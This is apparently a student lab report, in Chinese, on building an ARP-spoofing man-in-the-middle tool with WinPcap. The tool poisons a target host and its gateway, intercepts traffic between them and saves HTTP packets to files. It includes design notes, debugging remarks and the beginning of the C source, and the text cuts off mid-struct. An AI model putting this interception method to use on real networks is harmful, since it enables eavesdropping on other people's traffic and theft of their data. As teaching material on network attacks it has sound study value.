*******此实验旨在交流学习,请勿用在非正常合法途径*******
利用WinPcap编程,实现基于ARP欺骗的中间人攻击
一、实验内容
- 利用WinPcap,分别向被欺骗主机和网关发送APR请求包, 达到同时欺骗目标主机和网关的目的;
- 所有目标主机和网关之间的数据都会被我们劫持,过滤 两者之间的所有http交互数据包,并保存为文件。 (http包的过滤可用80端口来标识)
二、设计思想
- 理解ARP欺骗原理,将本机作为ARP欺骗的发起主机,即发起“中间人攻击”
- 本机欺骗网关,网关向本局域网内其他主机发送的所有数据包时,本机将数据包的发送方MAC地址均改为本机的MAC地址。
- 本机欺骗网内所有主机,其他主机向局域网网关发送的所有数据包时,本机将数据包的发送方MAC地址均改为本机的MAC地址。
- 欺骗主机作为“中间人”,被欺骗主机的数据都经过它中转一次,这样欺骗主机可以窃取到被它欺骗的主机之间的通讯数据,并将其存储到相应文件之中,以便之后的详细分析。
三、实验要求
提交源码(源码编写要规范)、可执行程序、实验报告(要有程序运行截图)。
四、实验分析
- 获取与网卡绑定的设备列表
- 要求用户选择用于捕获数据帧的设备
- 设置过滤规则
- 使用wpcap.dll实现ARP报文的发送功能
- 借助网络分析工具对ARP欺骗过程进行验证和分析
- 利用IP地址和IPV4的首部修改IP头,进行ARP欺骗
五、实验代码
- 一开始发现欺骗成功,但怎么写都没办法实现转发成功
后来修改这相应参数值
if ((adhandle = pcap_open_live(d->name, // name of the device
65536, // portion of the packet to capture
0, // open flag
1, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
pcap_freealldevs(alldevs);
return -1;
}
使得相应的能够转发成功
1. 又遇见新的问题,MAC值传递有问题
void transMac(char source[], u_char *dest)
{
short i;
int sourceLen = strlen(source);
unsigned char highByte, lowByte;
for (i = 0; i < sourceLen; i += 3)
{
highByte = toupper(source[i]);
lowByte = toupper(source[i + 1]);
if(highByte > 0x39)
highByte -= 0x37;
else
highByte -= 0x30;
if(lowByte > 0x39)
lowByte -= 0x37;
else
lowByte -= 0x30;
dest[i/3] = (highByte << 4) | lowByte;
}
}
char GateMac[100]=”“,FackMac[100]=”“;
通过固定MAC然后进入函数中去转化,用这个值传输,使得我最终能得到正确的MAC地址
1. 后来不知道为什么当我写入文件的时候打开网页弹窗直接崩掉,经查看分析,发现是由于我忘写文件打开与关闭,导致正常的文件写入出现问题
完整代码
// ARPSpoofing.cpp : 定义控制台应用程序的入口点。
//
#include <iostream>
#include <stdio.h>
#include <conio.h>
#include <pcap.h>
#include <packet32.h>
#include <WinSock2.h>
#include <ntddndis.h>
#include "ArpSpoofing.h"
using namespace std;
unsigned char *mac; //本机MAC地址
unsigned char *fakemac; //被欺骗主机MAC地址
unsigned char *gatewaymac ;//网关MAC地址
unsigned long FakeIp; //要伪装成的IP地址
unsigned char *packet; //ARP包
unsigned long netsize;
unsigned long net;
pcap_t *adhandle; //一个pcap实例
struct EthernetHeader
{
u_char DestMAC[6]; //目的MAC地址 6字节
u_char SourMAC[6]; //源MAC地址 6字节
u_short EthType; //上一层协议类型&#